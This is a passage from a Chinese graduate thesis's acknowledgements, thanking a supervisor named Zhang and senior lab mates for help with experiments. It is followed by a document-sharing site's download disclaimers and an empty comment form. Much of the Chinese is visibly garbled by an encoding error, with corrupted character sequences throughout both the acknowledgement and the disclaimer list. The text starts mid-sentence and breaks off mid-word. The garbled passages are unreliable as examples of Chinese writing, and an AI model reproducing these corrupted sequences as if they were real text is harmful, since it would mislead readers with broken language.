71、的努力,這篇畢業(yè)論文也順利完成?;貞涍^(guò)去的日子,除了激動(dòng)我更多的是感動(dòng),沒(méi)有周圍人的幫助,我是很難完成這個(gè)艱巨的任務(wù)的。首先我要感謝我的指導(dǎo)老師,張老師平日工作繁忙,還在百忙之中分出精力來(lái)給予我悉心的指導(dǎo),幫我修改論文中的錯(cuò)誤。除了敬佩張老師的專業(yè)水平外,他的嚴(yán)謹(jǐn)?shù)闹螌W(xué)態(tài)度和科學(xué)研究的精神也是值得我永遠(yuǎn)學(xué)習(xí)的。我還要感謝我的師兄,在實(shí)驗(yàn)室里正是他們和我一起克服重重難關(guān),完成實(shí)驗(yàn)環(huán)節(jié)的各個(gè)突破,才得來(lái)這來(lái)之不易的數(shù)據(jù),沒(méi)有他們的幫助我?guī)缀?/p>

溫馨提示

  • 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 眾賞文庫(kù)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

評(píng)論

0/150

提交評(píng)論